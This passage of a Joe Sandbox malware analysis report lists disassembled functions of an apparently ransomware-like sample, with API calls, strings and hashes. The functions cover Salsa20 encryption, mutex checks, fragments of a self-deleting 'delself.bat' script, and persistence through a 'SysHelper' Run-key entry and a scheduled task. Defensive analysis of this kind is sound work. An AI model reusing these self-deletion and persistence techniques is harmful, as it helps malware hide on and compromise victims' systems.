Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: InfoLocale_wcscmp
String ID: ACP$OCP
API String ID: 1351282208-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Uniqueness

Uniqueness Score: -1.00%

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

input != nullptr && output != nullptr, xrefs: 0040C095
e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 00411178 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 00411190
CryptReleaseContext.ADVAPI32(?,00000000), ref: 004111A0

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction ID: be51c898aa0ddf1eb2c7ddf255022cb250d4a78141f94ceb906d675081cd9b05
Opcode Fuzzy Hash: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction Fuzzy Hash: F0E0EC74F40305A7EF50DBB6AC49FABB6A86B08745F444526FB04F3251D62CD841C528

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA51 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EA69
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EA79

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction ID: d41dd3a2d1aa4a110fdd7d588524fe859ae41a35967fa473e5fd9fc866ad400b
Opcode Fuzzy Hash: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction Fuzzy Hash: B2E0EC78F002059BDF50DBB79C89F6B72A87B08744B440835F804F3285D63CD9118928

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC68 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EC80
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EC90

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction ID: 275dd0b1ae59d7aa5d1c23d1b64c6eee76a350be21334d4cde6f8a02617c5264
Opcode Fuzzy Hash: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction Fuzzy Hash: 97E0BDB4F0420597EF60DEB69E49F6B76A8AB04645B440835E904F2281DA3DD8218A29

Uniqueness

Uniqueness Score: -1.00%

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
"if exist ", xrefs: 00412648
D, xrefs: 00412720
delself.bat, xrefs: 0041261C
del ", xrefs: 00412674
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
" goto try, xrefs: 00412666
TEMP, xrefs: 004125DF
@echo off:trydel ", xrefs: 0041262A

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Uniqueness

Uniqueness Score: -1.00%

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

-----BEGIN , xrefs: 004636A4
-----, xrefs: 004636D4, 00463A21
, xrefs: 00463A90
.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA
-----END , xrefs: 0046382F, 00463940, 004639E4

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Uniqueness

Uniqueness Score: -1.00%

Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425AAE

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__calloc_crt.LIBCMT ref: 00425AD2
_free.LIBCMT ref: 00425AE0
__calloc_crt.LIBCMT ref: 00425AEE
_free.LIBCMT ref: 00425AFE
_free.LIBCMT ref: 00425B04
__copytlocinfo_nolock.LIBCMT ref: 00425B13
__wsetlocale_nolock.LIBCMT ref: 00425B20
__setmbcp_nolock.LIBCMT ref: 00425B34
_free.LIBCMT ref: 00425B42
___removelocaleref.LIBCMT ref: 00425B49
___freetlocinfo.LIBCMT ref: 00425B50
_free.LIBCMT ref: 00425B56

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320windowCOMMON

Download Yara Rule

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: f729ec156da57fca7fee0a65632cfd00bd7f39968df2b9978418747e4f1c509a
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: f729ec156da57fca7fee0a65632cfd00bd7f39968df2b9978418747e4f1c509a
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004270A5 Relevance: 18.3, APIs: 12, Instructions: 289COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0042708B
DecodePointer.KERNEL32(?,?,?,?,000000FF,?,?,00463083,?,00000000,00000000), ref: 004271FE
DecodePointer.KERNEL32(?,?), ref: 0042722A
DecodePointer.KERNEL32(?,?), ref: 0042724F
__aulldvrm.LIBCMT ref: 00427385
_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_string.LIBCMT ref: 0042756B
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: DecodePointer_write_multi_char_write_string$__aulldvrm__cftof_free_strlen
String ID:
API String ID: 559064418-0
Opcode ID: 688c8fa77b64d3e6dd85923818a4fb75ab92d018343194e73b5bea7932078b8e
Instruction ID: 14f77054e820437d32f524f0a61f308f331f5c30c1a6e174fa9440fd564cd740
Opcode Fuzzy Hash: 688c8fa77b64d3e6dd85923818a4fb75ab92d018343194e73b5bea7932078b8e
Instruction Fuzzy Hash: B8B1A171E092399FDF209B54EC88BAAB7B5EF54314F5400DAD908A6251D7389E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00427B21 Relevance: 18.1, APIs: 12, Instructions: 84COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 00427B29
_free.LIBCMT ref: 00427B42

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

_free.LIBCMT ref: 00427B55
_free.LIBCMT ref: 00427B73
_free.LIBCMT ref: 00427B85
_free.LIBCMT ref: 00427B96
_free.LIBCMT ref: 00427BA1
_free.LIBCMT ref: 00427BC5
EncodePointer.KERNEL32(007555F0), ref: 00427BCC
_free.LIBCMT ref: 00427BE1
_free.LIBCMT ref: 00427BF7
_free.LIBCMT ref: 00427C1F

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID:
API String ID: 3064303923-0
Opcode ID: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction ID: d8036121d910c09816430481b6b6363fcbb95216f7cc64832fdbf6810ac9f003
Opcode Fuzzy Hash: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction Fuzzy Hash: C2217535A042748BCB215F56BC80D4A7BA4EB14328B94453FEA14573A1CBF87889DA98

Uniqueness

Uniqueness Score: -1.00%

Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

Service-0x, xrefs: 00454A80
_OPENSSL_isservice, xrefs: 004549D1

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Uniqueness

Uniqueness Score: -1.00%

Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00454BD3

Strings

OPENSSL, xrefs: 00454B77
OpenSSL: FATAL, xrefs: 00454BC7

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Uniqueness

Uniqueness Score: -1.00%

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

SysHelper, xrefs: 004123D6
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Uniqueness

Uniqueness Score: -1.00%

Function 00425B6E Relevance: 16.6, APIs: 11, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425BF8
__lock.LIBCMT ref: 00425C0E
__copytlocinfo_nolock.LIBCMT ref: 00425C1F
__wsetlocale_nolock.LIBCMT ref: 00425C36
_wcscmp.LIBCMT ref: 00425C59
__lock.LIBCMT ref: 00425C70
__updatetlocinfoEx_nolock.LIBCMT ref: 00425C82
___removelocaleref.LIBCMT ref: 00425C88
__updatetlocinfoEx_nolock.LIBCMT ref: 00425CA7

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__wsetlocale_nolock_wcscmp
String ID:
API String ID: 1077091919-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D

Uniqueness

Uniqueness Score: -1.00%

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

invalid string position, xrefs: 00418342
string too long, xrefs: 00418338

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32(?,?), ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

--Task, xrefs: 0040DBB5
Comment, xrefs: 0040DBFF
Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52

Memory Dump Source

